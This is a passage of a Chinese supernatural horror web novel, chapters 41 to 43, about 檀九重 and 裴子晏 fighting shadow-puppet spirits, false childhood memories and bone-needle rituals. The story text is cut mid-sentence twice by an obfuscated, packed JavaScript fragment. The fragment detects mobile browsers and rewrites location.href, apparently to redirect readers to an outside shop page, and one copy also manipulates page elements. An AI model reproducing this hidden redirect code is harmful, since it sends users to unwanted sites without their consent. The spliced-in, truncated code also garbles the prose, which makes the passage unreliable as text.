口袋里有东西。檀九重摸出一根银针——她习惯随身携带的验毒工具。针尖在灯光下泛着幽蓝,显然淬过某种药物。 门外传来裴子晏的脚步声:“学姐?需要帮忙吗?” “马上好。”檀九重将银针藏在指缝,开门瞬间突然刺向裴子晏的手背! 针尖在距离皮肤一厘米处停住了。裴子晏两指夹住她的手腕,力道大得惊人,脸上却还带着笑:“学姐这是做什么?” 檀九重抬膝撞向他腹部,同时另一只手去摸后腰的备用匕首。裴子晏轻巧地闪开,顺势将她按在墙上,鼻尖几乎相触。 “真敏锐。”他的声音突然变了调,带着皮影戏特有的抑扬顿挫,“不愧是檀明远的女儿。” 檀九重瞳孔骤缩。这个‘裴子晏’的眼白正在变成浑浊的灰黑色,像是被滴入墨汁。更可怕的是,他的皮肤在阳光下呈现出半透明的质感,能隐约看到皮下的血管——不是人类的鲜红色,而是皮影用的皮革纹理。 “你不是裴子晏。” “我是,也不是。”皮影人松开她,后退一步,“我是他‘魂’的那部分,被剥离出来做成‘影傀’。”他歪了歪头,动作流畅得不似人类,“想见真的裴子晏吗?” 不等檀九重回答,皮影人突然扯开自己的衬衫——胸膛没有伤口,只有一幅精美的皮影画:裴子晏被锁在青铜笼子里,七根青铜钉贯穿身体。他的嘴一张一合,像是在呼喊什么,但发不出声音。 “看,这才是他。”皮影人爱抚着胸口的‘画’,“学姐想救他吗?” 檀九重握紧银针:“条件?” “很简单。”皮影人打了个响指,房间突然扭曲变形,变成了一间儿童卧室,“让我给你讲个故事。” 墙壁上贴满了蜡笔画,小床上放着两个布娃娃。檀九重太阳穴突突直跳——这是她五岁前的卧室,在父亲失踪后就再没回去过的地方。 “1989年夏天,”皮影人用咏叹调说道,“檀明远带着五岁的女儿拜访老友沈胭脂。他们在地下室进行了一场...仪式。”他手指轻挥,空气中浮现出皮影戏般的场景:穿小花裙的小女孩被按在青铜簋上,后颈被刺入一根银针。 檀九重后颈突然剧痛,一段陌生记忆涌入脑海:母亲沈胭脂抱着她哼儿歌,父亲在书房整理古籍,一家三口去公园野餐...温馨得令人心碎的画面,却与她真实的童年记忆完全不符。 “这才是你的过去。”皮影人轻声细语,“父母双全,幸福美满。后来你母亲因病去世,父亲隐居研究民俗...哪有什么失踪,什么皮影冢?” 记忆如潮水般冲刷着檀九重的意识。她‘想起’自己大学毕业后跟随父亲脚步成为民俗学者,与学弟裴子晏相恋...甜蜜的、虚假的、令人沉溺的记忆。 “不...”她咬破嘴唇,血腥味唤回一丝清醒,“这是影傀术!” 皮影人惋惜地摇头:“真固执。”说着突然出手,一根红线从他指尖射出,刺入檀九重后颈,“那就看看更真实的记忆吧。” 剧痛中,檀九重‘看’到了一个从未见过的场景:青铜簋协会的地下室,七个穿黑袍的人围成一圈。中央的祭台上躺着五岁的她和另一个小男孩——灰白的右眼,月牙胎记在左腕。 “双生之子,必去其一……”为首的黑袍人举起青铜刀,“留皮者存,留骨者亡...” 刀光落下,小男孩的后背皮被完整剥下。惨叫声中,檀九重看清了黑袍人手上的玉扳指——是父亲从不离身的那枚! “想起来了吗?”皮影人的声音忽远忽近,“你父亲不是受害者,而是主谋之一。裴子晏也不是什么学弟,他是被你们家害死的‘祭品’...” 檀九重跪倒在地,虚假记忆与真实碎片在脑中厮杀。后颈的红线越缠越紧,像是有生命般往脊椎里钻。就在意识即将沉沦的瞬间,一道寒光闪过—— 红线断了。 皮影人发出刺耳的尖叫,胸口‘皮影画’中的裴子晏突然抬头,灰白的右眼直视檀九重。现实中,一根骨针从窗外射入,精准刺中她后颈的某个穴位。 剧痛。但这次是清醒的痛。檀九重呕出一口黑血,虚假记忆如潮水般退去。她看到皮影人疯狂地抓挠自己的胸口,那里的‘皮影画’正在燃烧! “学姐...看影子...”一个虚弱的声音从窗外飘来。 檀九重转头,看到窗棂上挂着一枚铜钱——是裴子晏常带的那种‘乾隆通宝’。铜钱投下的影子不是圆形,而是一个箭头,指向皮影人的脚下。< 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“学姐...钥匙...” 再睁眼时,她躺在坟地边缘,黑猫蹲在旁边舔爪子。远处客栈燃起大火,火中传出皮影人最后的诅咒: “三尸不归位...青铜永不眠...” 檀九重坐起身,发现手中紧握着两样东西:骨针和铜钱。骨针上刻着微小的字:“我的第三根肋骨”。 黑猫突然跃向某个方向,回头看她。檀九重跟上去,穿过几座荒坟,来到一棵老槐树下。树洞里放着盏青铜灯——正是百骨园那盏,灯芯的指骨又长出了一节。 灯旁有张泛黄的儿童画:两个大人牵着一个孩子,地上却投下四个影子。画纸背面写着一行稚嫩的字: “爸爸、妈妈、我和影子朋友。” 字迹与她小时候一模一样。但檀九重清楚地记得,自己从未画过这样的画。 槐树后传来微弱的呻吟声。檀九重绕过去,看到那个黑衣青年——裴子晏的‘骨’——靠坐在树根处,胸口插着半截青铜钉,暗红的血浸透了前襟。 “你...挣脱了...”青年虚弱地笑了,“不愧是...学姐...” 檀九重跪下来检查他的伤势:“别说话,我带你——” “没时间了。”青年抓住她的手腕,力道大得惊人,“听好...影傀术替换了部分记忆...你看到的童年住宅...是青铜簋协会旧址...” 他咳出一口带着金属光泽的血:“裴子晏把自己分成三份...皮在鼓里...骨是我...魂被做成了影傀...”颤抖的手指指向青铜灯,“灯芯是他小指骨...每救你一次...就长一节...” 檀九重喉头发紧:“怎么救你?” 青年摇摇头,突然撕开自己的衣领——胸口没有心脏,只有一个青铜装置,此刻正发出不祥的“咔咔”声。 “记住...”他的声音开始失真,“下次见到‘裴子晏’...摸他后颈...如果有线...就不是...” 装置爆炸了。没有血肉横飞,只有无数青铜碎片和一张飘落的人皮——上面是裴子晏痛苦的脸。 黑猫突然炸毛。檀九重回头,看到坟地边缘站着个穿蓝布衫的小男孩,右手腕的月牙胎记泛着血光。他嘴唇不动,声音却直接在她脑中响起: “学姐,你找到我的灯了。” 41. 断骨针 桂花香再次袭来时,檀九重发现自己站在一栋老式单元楼前。 阳光正好,三楼窗口飘着蓝白格子的窗帘——那是母亲最喜欢的样式。口袋里沉甸甸的,她摸出一串钥匙,最旧的那把上有她小时候贴的卡通贴纸,已经褪色成粉白色。 “这是...我家?” 身后传来汽车鸣笛声。檀九重转身,看到父亲檀明远从一辆旧桑塔纳里探出头:“九重,愣着干什么?你妈等着我们吃饭呢。” 父亲的脸比她记忆中年轻许多,没有那些深刻的皱纹,玉扳指在方向盘上轻轻敲打。一切都那么真实:阳光的温度,汽车尾气的味道,甚至父亲衬衫第三颗纽扣的松动线头。 檀九重低头看自己——穿着大学时的牛仔裤和T恤,左手腕的青铜月牙胎记清晰可见。这不是梦,至少不完全是。 “爸,”她试探着问,“今天几号?” “五月二十一啊。”父亲奇怪地看她,“你论文写糊涂了?快上楼,你妈做了红烧鱼。” 檀九重跟着父亲上楼,每一步都像是踩在棉花上。钥匙插进锁孔的瞬间,她听到厨房传来炒菜声和母亲哼的小调——那是她五岁以后就再没听过的声音。 门开了。母亲沈胭脂系着围裙从厨房出来,手里还拿着锅铲:“回来啦?洗手吃饭。”她比记忆中更瘦,左腕戴着一只青铜镯子,样式古朴。 檀九重站在原地,指甲深深掐进掌心。疼痛很真实,但这个世界不对劲——母亲去世二十年了,父亲失踪十年,这栋房子早在她上大学时就卖掉了。 “怎么了?”母亲伸手摸她额头,“不舒服?” 那只手温暖干燥,带着油烟和洗洁精的味道。太真实了,真实得可怕。檀九重强忍鼻酸:“没事,可能有点累。” 饭桌上,父亲谈起最近的研究项目:“华县那个皮影戏班子的材料很有价值,特别是‘影傀术’的部分...”他夹了块鱼给檀九重,“对了,你那个学弟今天不是要来拿资料吗?” “学弟?” “裴子晏啊。”母亲笑着盛汤,“那孩子嘴真甜,上次来还给我带了湘西的腊肉。” 檀九重筷子掉在桌上。裴子晏不可能见过她母亲,除非... 除非这是影傀术构建的虚假记忆。 “他什么时候来?”她尽量保持声音平稳。 “说好下午三点。”父亲看了看手表,“你吃完饭把书房那本《唐传奇》找出来,他要参考里面的《聂隐娘》。” 书房。檀九重心跳加速。父亲的书房从来不许外人进,那里或许有线索。 饭后,她借口找书独自进了书房。房间陈设与记忆中一模一样:靠窗的红木书桌,整面墙的书柜,还有那个永远上锁的抽屉——钥匙藏在《本草纲目》的书脊里。 檀九重迅速找到钥匙,打开抽屉。里面是一摞发黄的资料,最上面是张照片:两个穿蓝布衫的男孩站在千棺葬入口,一个右腕有月牙胎记,一个左腕。照片背面写着日期:1986年7月15日。 “这不可能...”檀九重手指发抖。1986年裴子晏还没出生,除非照片上的孩子是... “学姐?” 檀九重猛地回头。裴子晏倚在门框上,白衬衫牛仔裤,右眼完好,嘴角挂着熟悉的酒窝笑。阳光从他背后照进来,投下的影子与动作完全同步——没有延迟。 “你怎么进来的?”檀九重悄悄将照片塞进口袋。 “阿姨给我开的门啊。”裴子晏走进来,身上带着淡淡的草药香,“学姐脸色不太好,做噩梦了?” 太像了,每一个细节都和她记忆中的裴子晏一模一样。檀九重假装整理书架,暗中观察他的影子——完全正常。 “《聂隐娘》是吧?”她抽出那本《唐传奇》,“父亲说你要参考这个。” 裴子晏接过书,指尖不经意擦过她的手背:“谢谢学姐。”他翻开书页,突然压低声音,“别相信这个世界的任何温暖,学姐。影傀术最擅长利用人的渴望。” 檀九重心头一震:“你——” “九重!”母亲的声音从厨房传来,“冰箱里的绿豆汤你喝不喝?” 再回头,裴子晏已经恢复了那种人畜无害的笑容:“阿姨做的绿豆汤最好喝了,学姐带我去尝尝?” 走向厨房的路上,檀九重注意到一个细节:裴子晏的左手始终插在口袋里,走路时右腿似乎有些不便。而在她的记忆中,裴子晏从没有这种习惯性动作。 厨房里,母亲正把绿豆汤倒进碗里。檀九重突然想起什么:“妈,我小时候那本《山海经》画册还在吗?” “在啊,在你房间书柜第二层。”母亲头也不抬,“怎么突然问这个?” 檀九重后背发凉。她根本没有《山海经》画册,那是邻居家孩子的。这个‘母亲’在撒谎。 裴子晏接过绿豆汤时,左手终于从口袋抽出——手腕内侧有一道新鲜的伤口,像是被什么利器划破。他趁母亲转身,迅速在檀九重手心划了几下: “查日历”。 檀九重借口上厕所,翻出手机查看日历——五月二十一日显示为‘血忌日,诸事不宜’,而明天的日期却是五月十九日。时间在这个世界里是倒流的。 镜子突然起雾。檀九重用手擦去水汽,镜中的自己嘴角竟挂着诡异的微笑,右眼变成了灰白色。她猛地后退,镜面浮现出几个血字: “找灯,破幻”。 字迹与裴子晏的一模一样。 洗手间门被轻轻敲响:“学姐?”裴子晏的声音带着几分急切,“能借一下剪刀吗?阿姨说缝扣子要用。” 檀九重打开门,裴子晏站在门口,左手背在身后。当她把剪刀递过去时,他突然抓住她的手腕,将某样冰冷的东西塞进她手心——是一根骨针,针尾系着红线。 “学姐小心。”他凑近耳边,声音几不可闻,“这个家的所有人,都已经死了。” --- 现实世界·华悦客栈废墟 裴子晏跪在焦黑的梁柱间,七根青铜钉将他钉成一个诡异的姿势。胸口那个钥匙孔状的伤口汩汩流血,却不是鲜红色,而是带着金属光泽的暗红。 “值得吗?”客栈老板娘蹲在一旁,颤抖的手捧着一碗黑乎乎的药汤,“再用一次骨针,你的‘影’就彻底散了。” 裴子晏咳出一口青铜色的血:“药。” 老板娘将药汤凑到他唇边:“当年我女儿也是这样被你救的,结果...”她哽咽了一下,“她还是成了人皮鼓。” “对不起...”裴子晏艰难地咽下药汤,“这次...不一样...” 药汤下肚,他胸口的流血稍缓。裴子晏咬牙拔出一根青铜钉,带出血肉碎末。钉子上刻着复杂的符文,此刻正发出幽幽蓝光。 “时间不多了。”他看向窗外渐暗的天色,“学姐在幻境里待得越久,被替换的记忆就越多。” 老板娘从怀里掏出个小布包:“最后三根肋骨磨的针,浸过我的血。”她解开布包,里面是三根泛着青光的骨针,“我女儿...她皮还在鼓上...能感应到那些东西...” 裴子晏接过骨针,突然剧烈咳嗽起来。老板娘慌忙去扶,却摸到一手冰凉的金属屑——他的皮肤正在一点点变成青铜粉末。 “镜子...”裴子晏指向角落的碎镜片。 老板娘捧来镜子,裴子晏看了一眼就闭上了眼睛。镜中的他模糊得几乎透明,只有心口处的青铜装置还清晰可见。 “再救她一次...我就彻底变成‘影’了...”他苦笑着握紧骨针,“也好...这样学姐就能...” 话未说完,客栈地板突然震动。无数红线从缝隙中钻出,像活物般朝裴子晏袭来。他迅速翻身躲过,同时掷出一根骨针—— 针尖刺中红线群的瞬间,爆发出刺目的青光。红线如遭雷击,纷纷缩回地下。但骨针也化为齑粉,裴子晏在镜中的影像又淡了一分。 “它们发现我们了。”老板娘紧张地看向窗外,“天黑前必须把檀小姐救出来,否则皮影鬼会把她永远困在幻境里!” 裴子晏点头,拔出第二根青铜钉。这次他痛得弯下腰,吐出的血里混着细小的金属碎片。 “给我讲讲...您女儿的事...”他试图分散注意力,“她是怎么...” 老板娘泪如雨下:“那年她才十六岁,偷偷学了我的皮影手艺...青铜簋协会的人说需要‘灵性足的皮’...”她说不下去了,颤抖着指向自己的脸,“现在她的皮...还在百骨园的鼓上...” 裴子晏沉默片刻,突然将一根骨针刺入自己太阳穴。鲜血顺着针尾滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840490|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,在焦黑的地板上形成诡异的符文。 “以血为引,以骨为桥...”他念着咒语,声音越来越弱,“寻踪觅影,破幻归真...” 地板上的血符突然亮起青光,映照出另一个空间的画面:檀九重站在‘家’的书房里,正翻看一本相册。照片上的她约莫五岁,被一个穿蓝布衫的小男孩牵着,两人手腕上的月牙胎记正好相对。 “找到了...”裴子晏虚弱地笑了,“学姐在找真相...” 就在这时,血符画面中的‘裴子晏’突然转头,直勾勾地‘看’向现实世界的裴子晏,嘴角咧到耳根:“你救不了她。” 老板娘惊叫一声,血符应声而碎。客栈地板再次震动,这次更剧烈,墙壁裂缝中渗出粘稠的黑血。 “来不及了...”裴子晏挣扎着站起来,拔出剩余的青铜钉,“必须现在就...” 他话没说完,一根红线突然从地下射出,贯穿了他的肩膀。裴子晏闷哼一声,反手用骨针斩断红线,但更多的红线如毒蛇般涌来。 老板娘抓起桌上的煤油灯砸向红线,火焰瞬间蔓延。在红线的尖啸声中,她扶起裴子晏:“后门!我女儿...她的皮会帮我们...” 两人踉跄着穿过火海,来到客栈后院。那里孤零零地立着一面人皮鼓,鼓面在火光中泛着珍珠般的光泽。 裴子晏跪在鼓前,轻声道:“对不起...” 骨针刺破手指,他将血滴在鼓面上。血珠没有滑落,而是被吸收般渗了进去。鼓面随即浮现出一张少女的脸,痛苦却坚定。 “敲吧...”少女的嘴唇在鼓面上蠕动,“我带你...去幻境边界...” 裴子晏颤抖着拿起鼓槌——那是根人类指骨,末端还连着几片干枯的指甲。 “咚!” 鼓声沉闷,像是从极远处传来。客栈废墟上空突然裂开一道口子,隐约可见另一个世界的景象:檀九重正在"家"的阳台上,手里拿着那根骨针。 “学姐...”裴子晏又敲了一下鼓,“听得到吗...” --- 幻境世界·家中阳台 檀九重手中的骨针突然发烫。她下意识握紧,针尖刺破掌心,血珠滴在阳台地板上——没有渗进去,而是悬浮在空中,形成一个小小的血球。 血球表面映出模糊的画面:燃烧的客栈,遍体鳞伤的裴子晏,还有那面诡异的人皮鼓。 “裴子晏?”她小声呼唤。 血球中的裴子晏似乎听到了,抬起头。他的嘴一张一合,却没有声音。檀九重仔细辨认口型: “破...幻...用...针...” 突然,阳台门被推开。母亲沈胭脂站在那里,手里端着果盘:“跟谁说话呢?” 檀九重迅速将骨针藏起:“没,在背论文。” 母亲走过来,目光落在悬浮的血球上。她的表情瞬间凝固:“谁给你的这个?” “什么?”檀九重假装困惑。 母亲突然抓住她的手腕,力道大得惊人:“骨针交出来。”她的声音变了调,带着皮影戏特有的抑扬顿挫,“那不是你能碰的东西!” 檀九重挣脱不开,急中生智:“爸!妈找你!” 母亲一怔,手上力道稍松。檀九重趁机抽出骨针,刺向她的手臂—— 针尖在距离皮肤一厘米处停住了。母亲的脸开始融化,露出下面皮革般的质感:“聪明的孩子...”她的声音变成了多个人的合唱,“可惜没用...” 骨针突然自己动了!它挣脱檀九重的手,飞向母亲眉心。针尖刺入的瞬间,整个幻境开始崩塌。母亲发出不似人类的尖叫,身体如蜡般融化。 “学姐!现在!”血球中传来裴子晏的喊声,“用针扎自己后颈!” 檀九重抓住飞舞的骨针,毫不犹豫地刺向后颈—— 剧痛。像是有人用烧红的铁棍捅进脊椎。无数记忆碎片如潮水般涌来:五岁时被带入青铜簋协会地下室,母亲为救她自愿成为‘灯芯’,父亲与穿长衫的老者争执,还有...那个灰白右眼的小男孩被剥皮的场景。 “裴...子晏...”她跪倒在地,幻境如玻璃般碎裂。 最后一刻,她看到血球中的裴子晏举起最后一根骨针,刺向自己的心口。镜中的他,彻底消失了。 42. 影中人 骨针刺入后颈的瞬间,世界如打碎的镜子般四分五裂。 檀九重坠入一片虚无,耳边回荡着两种截然不同的声音——一种是母亲沈胭脂临死前的咳嗽声,另一种是幻境中‘母亲’歇斯底里的尖叫。她的皮肤上交替浮现出两种记忆的温度:湘西冬夜的刺骨寒风,与虚假家庭里阳光晒过的被褥暖意。 “学姐...” 裴子晏的声音从很远的地方传来,带着水波般的回声。檀九重想回应,却发现自己的喉咙里塞满了细密的红线,像是有无数傀儡师在同时操控她的声带。 “别说话。”那声音更近了,“听我数数,跟着呼吸。一、二、三...” 檀九重挣扎着跟随节奏。随着呼吸渐稳,眼前的黑暗褪去,她发现自己跪在一片焦黑的废墟中。四周是燃烧的客栈梁柱,空气中弥漫着人皮烧焦的恶臭。面前蹲着一个人影——是裴子晏,但比她记忆中消瘦许多,右眼完全变成了青铜色,胸口那个钥匙孔状的伤口正汩汩流出带着金属光泽的血。 “幻境破了。”裴子晏伸手想扶她,却在碰到她肩膀时猛地缩回。他的指尖正在一点点化为青铜粉末,“但皮影鬼还在。” 檀九重这才注意到,废墟的阴影里有什么东西在蠕动。不是红线,而是更细更密的东西——像头发,又像是极细的丝线,正从四面八方缓缓包围过来。 “它想困住我们。”裴子晏咳嗽着,吐出一口带着金属碎屑的血,“学姐...记得老皮影师教的‘灯下辨影法’吗?” 檀九重摸向腰间,青铜灯还在。灯芯那根缠绕红线的指骨已经长出了第三节,燃烧时发出幽蓝的光。她突然明白裴子晏要做什么。 “不行。”她抓住裴子晏的手腕,“你的身体——” “没时间了。”裴子晏露出那个熟悉的酒窝笑,却显得格外凄凉,“它已经知道我醒了。”说着突然扯开衣领——他胸口那个钥匙孔状的伤口里,隐约可见一个青铜装置正在急速旋转,“看,它在找我。” 檀九重心脏骤缩。她想起皮影人说过的话:裴子晏把自己分成了‘皮、骨、魂’三份。眼前这个伤痕累累的青年,是‘骨’的那部分。 阴影中的丝线突然暴起!裴子晏猛地推开檀九重,自己却被数十根丝线贯穿。那些丝线如同活物,在他体内游走,发出令人牙酸的“吱吱”声。 “点灯!”裴子晏嘶吼着,双手死死抓住胸口的丝线,“照我的影子!” 檀九重咬牙点燃青铜灯。幽蓝的火焰“轰”地窜高,照亮了整个废墟。在火光中,她看到了永生难忘的一幕—— 裴子晏投在地上的影子不是人形,而是一个被锁链缠绕的青铜笼子。更可怕的是,阴影中那些丝线的源头,竟是一张悬浮在半空的儿童皮影。皮影约莫五六岁孩童大小,做工精致到毛孔可见,左腕有个醒目的月牙胎记。 “那是...你?”檀九重声音发抖。 皮影突然转向她,黑洞洞的眼睛里流出两行血泪。它没有嘴,却发出尖锐的哭喊声:“学姐救我!它要吃掉我的影子!” “别听!”裴子晏暴喝一声,扯断胸口的丝线。那些断掉的丝线像蛇一样扭动着,滴落的不是血,而是青黑色的黏液,“它在模仿我小时候的声音!” 檀九重强迫自己冷静。她举起青铜灯,按照老皮影师教过的方法,将灯光以特定角度照向皮影——灯光穿透皮影的瞬间,表面浮现出密密麻麻的契丹文字和简体中文交替的符咒。最下方有一行小字:“庚午年六月初七制,沈胭脂押”。 庚午年。她五岁那年。 “我妈...制作的你?”檀九重如坠冰窟。 皮影发出刺耳的笑声,突然扑向地上的影子——不是扑向裴子晏,而是扑向檀九重的影子!它贴在影子表面,开始一点点"融入"。随着融合进行,檀九重感到一阵刺骨的寒意从脚底蔓延上来,某种陌生的记忆开始入侵她的意识—— 幽暗的地窖里,五岁的她蹲在一个铁笼前。笼子里关着两个小男孩,一个右腕有月牙胎记,一个左腕。她手里捏着半个馒头,犹豫该给谁。 “给我...”右腕男孩伸出手,声音稚嫩,“我比他能唱戏...” 左腕男孩不说话,只是用灰白的右眼静静看着她。 记忆突然跳转。还是那个地窖,但笼子里只剩左腕男孩了。他后背血淋淋的,正在用一根骨头在墙上刻字。五岁的她躲在角落发抖,手里攥着一把铜钥匙... “学姐!”裴子晏的声音将她拉回现实,“它在偷你的记忆!快用灯照自己的影子!” 檀九重猛地回神,发现皮影已经融入了她影子的一半。被融入的部分不再随她的动作变化,而是自顾自地做出各种诡异姿势。 她毫不犹豫地将青铜灯按向自己的影子。灯油泼洒在影子上,瞬间燃起幽蓝的火焰。皮影发出凄厉的尖叫,从影子中被‘烫’了出来。它表面的皮革开始卷曲脱落,露出里面层层叠叠的人皮——最里层赫然是一张发黄的儿童皮影,制作日期正是1986年。 “原来如此...”檀九重恍然大悟,“你才是真正的‘魂’!裴子晏被剥离的那部分!” 皮影鬼停止尖叫,悬浮在半空。它慢慢展开,变成一张完整的儿童皮影,然后开始‘生长’——先是长出四肢,接着是头发、五官...最后变成了一个穿蓝布衫的小男孩,右腕月牙胎记泛着血光。 “学姐终于想起来了。”小男孩的声音带着诡异的回音,“那年夏天,是你选择先给我馒头。”他指向遍体鳞伤的裴子晏,“所以他被剥皮的时候,你躲在角落没出声。” 檀九重头痛欲裂。那段被尘封的记忆如洪水般涌来:五岁的她,地窖,两个男孩,以及后来穿着长衫的老者用青铜刀剥皮的场景... “不...”她踉跄后退,“那不是真的...” “是真的。”小男孩微笑,嘴角咧到耳根,“学姐,我们三个的命运从那时就绑在一起了。”他突然扑向裴子晏,“现在,把‘骨’还给我!” 裴子晏来不及躲闪,被小男孩撞个正着。两者接触的瞬间,裴子晏胸口的青铜装置发出刺目的红光。他痛苦地弯下腰,皮肤开始以肉眼可见的速度变成皮革质感。 “学姐...快走...”他的声音开始失真,像是老式录音机没电时的变调,“去找...灯...” 檀九重没有动。她看着地上那盏青铜灯,突然明白了什么。灯芯是裴子晏的小指骨,每救她一次就长一节...现在已经有三节了。 “需要三魂俱全...”她想起皮影鬼残骸上的刻字,猛地冲向青铜灯。 皮影鬼察觉她的意图,分出一部分丝线射来。檀九重侧身闪避,仍被几根丝线划破手臂。鲜血滴在灯焰上,火苗“轰”地窜高,映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“坚持住...”她撕下衣角想堵住伤口,却发现流出的血已经变成了青铜溶液,“我带你去医院...” 裴子晏微微摇头,抬起正在金属化的手,轻轻碰了碰她的脸颊:“学姐...记得...找齐三盏灯...”他的声音越来越轻,“我的‘皮’在鼓里...‘魂’刚才被烧了...还差‘骨’...” “不,你别说话——” “最后...”裴子晏艰难地指向自己正在凝固的胸膛,“钥匙...在我第三根肋骨...” 话未说完,他的手垂落下来。皮肤彻底变成青铜,整个人如同一尊破损的雕像。只有心口那个钥匙孔状的伤口还保持着血肉质感,里面隐约可见半把铜钥匙。 檀九重颤抖着伸手,取出那半把钥匙。就在钥匙离体的瞬间,裴子晏的‘身体’开始崩解,化为无数青铜碎片,最终只剩下一小堆金属粉末。 风一吹,就散了。 废墟陷入死寂。檀九重跪在原地,手中紧握着半把钥匙和青铜灯。灯芯的指骨不知何时已经长出了第四节,缠绕的红线变成了暗红色,像是吸饱了鲜血。 远处传来乌鸦的叫声。檀九重缓缓抬头,看到废墟边缘站着一个小小的人影——穿蓝布衫的小男孩,右腕月牙胎记泛着微光。他嘴唇不动,声音却直接在她脑海中响起: “学姐,你弄丢了我的骨头。” 檀九重想站起来追,双腿却一软栽倒在地。在陷入黑暗前的最后一刻,她看到小男孩弯腰捡起了什么——是那张焦黑的皮影残骸,上面隐约可见一行字: “换命锁需三魂俱全”。 43. 残魂现 檀九重醒来时,鼻腔里充斥着消毒水的气味。 白色的天花板,滴答作响的输液瓶,还有窗外刺眼的阳光——这里是县医院的病房。她试着活动手指,发现左手腕缠着厚厚的绷带,后颈传来阵阵刺痛。 “醒了?” 一个熟悉的声音从角落传来。檀九重猛地转头,输液管被扯得哗啦作响。窗边的椅子上坐着裴子晏,穿着那件熟悉的黑色冲锋衣,右眼灰白,左眼却清澈如常。阳光穿透他的身体,在地板上投下淡得几乎看不见的影子。 “你...”檀九重嗓子干得冒烟,“你不是...” 化为青铜粉末了吗?她没问出口。记忆如潮水般涌来:客栈废墟,皮影鬼,裴子晏撕开胸膛... 裴子晏递来一杯水,手指冰凉得不似活人:“喝点水。”他的语气平静得可怕,仿佛那场惨烈的战斗从未发生,“医生说你脱水严重,还有轻微脑震荡。” 檀九重接过水杯,故意让指尖擦过他的手背——冷。不是正常人的低温,而是像金属器物在寒冬暴露一夜后的那种刺骨冰冷。 “体温21度。”她盯着裴子晏的眼睛,“活人不可能在这个体温下保持意识。” 裴子晏嘴角微微上扬,露出一个没有温度的笑容:“学姐还是这么敏锐。”他站起身,阳光直接穿透了他的身体,“我该走了。” “等等!”檀九重一把抓住他的手腕——触感奇怪,像是握住了一层皮包裹的金属,“你胸口...那个伤...” 裴子晏轻轻抽回手,拉开冲锋衣拉链。里面是一件黑色高领衫,完好无损,没有血迹,没有伤口。但当他转身时,檀九重分明看到他的影子在阳光下呈现出诡异的形态——不是人形,而是一个青铜笼子的轮廓。 “老板娘在走廊。”裴子晏走向门口,身体在阳光下几乎透明,“她有东西给你。” “裴子晏!”檀九重拔高声音,“你到底死了没有?” 这个问题在医院病房里显得荒谬绝伦。裴子晏停在门口,回头看她,灰白的右眼在阳光下泛着金属光泽:“学姐,‘死’对我们这种人来说,是个太奢侈的概念。” 说完他就消失了。不是走出去,而是字面意义上的消失——像被阳光蒸发的雾气,没有留下任何痕迹,只有地板上几粒青铜色的尘埃。 病房门被推开,老板娘端着餐盘走进来。她比檀九重记忆中苍老了许多,眼睛红肿,手里除了餐盘还拿着一个布包。 “他走了?”老板娘声音沙哑。 檀九重点点头:“你知道他现在是什么...状态吗?” 老板娘放下餐盘,从布包里取出一个小木盒:“先吃饭,吃完我给你看样东西。” 餐盘里的粥还冒着热气,配菜是几样家常小炒。檀九重强迫自己进食,每一口都味同嚼蜡。老板娘坐在床边,手指神经质地敲击着木盒。 “我女儿...”她突然开口,“她的皮还在鼓上。那天晚上,是裴先生用骨针刺破鼓面,才让我女儿的灵魂得以解脱。”她抬起泪眼,“他救人的方式...总是这么惨烈。” 檀九重放下筷子:“他胸口那个伤...” “不是第一次了。”老板娘打开木盒,里面是三根泛着青光的骨针,“他用自己肋骨磨的针。每用一次,身体就少一部分。”她拿起一根针对着阳光,“看,这根最旧的,是三十年前的东西。” 檀九重瞳孔骤缩:“三十年前?裴子晏今年才二十三岁。” 老板娘苦笑:“你知道我第一次见到他是什么时候吗?” 她不等回答,从布包里取出三张照片。第一张是泛黄的黑白照,民国时期的装扮,一个穿长衫的年轻男子站在戏楼前;第二张是八十年代的彩色照片,穿蓝布衫的小男孩站在千棺葬入口;第三张是手机拍的,穿卫衣的裴子晏在客栈后院修灯笼。 三张照片上的人,长相一模一样。 “穿长衫的是我外婆见过的,小男孩是我母亲照顾过的,穿卫衣的这个...”老板娘声音发抖,“是撕开自己胸膛救你的。” 檀九重手指发抖地拿起照片。放大镜下,民国长衫男子的右眼明显比左眼颜色浅;小男孩左腕有月牙胎记;而现代照片里的裴子晏,胸口隐约可见钥匙孔状的伤口。 “三个裴子晏...”她喃喃自语。 “不。”老板娘摇头,“是一个人的三部分。”她指向木盒里的骨针,“知道为什么叫‘三魂针’吗?道教说人有三魂:胎光、爽灵、幽精。裴先生把自己...分开了。” 檀九重突然想起什么,从枕头下摸出那枚‘乾隆通宝’。铜钱在阳光下没什么特别,但当她无意中转到某个角度时,钱币边缘浮现出细如发丝的契丹文。 “今晚满月。”老板娘起身拉上窗帘,“月光下看更清楚。” 夜幕降临后,檀九重偷偷溜出病房。老板娘带她来到客栈废墟——现在已经被警戒线围起,但没人看守。月光如水,照在焦黑的梁柱上,勾勒出诡异的轮廓。 “这里。”老板娘引她到一处相对完好的角落,从怀里取出青铜灯——灯芯的指骨已经长到第四骨节,“裴先生说要用月光和灯一起照。” 檀九重点燃青铜灯。幽蓝的火焰与月光交融,在地面上投射出奇异的光影。她取出铜钱,放在光线下—— 铜钱投下的不是单一影子,而是三个重叠又分离的影像:左边是个穿长衫的男子,中间是个蓝布衫小男孩,右边是穿卫衣的裴子晏。三个影子手腕上都有月牙胎记,只是位置不同。 “三魂...”檀九重突然明白了,“胎光主生命,爽灵主智慧,幽精主情感。”她看向老板娘,“现在的裴子晏是哪一魂?” 老板娘刚要回答,废墟中突然传来“咔咔”声。檀九重迅速转身,青铜灯照向声源——一个皮影人正从废墟中爬出!不是之前那种精致的皮影,而是粗糙的、像是匆忙制作的仿品,面部只有简单的五官轮廓。 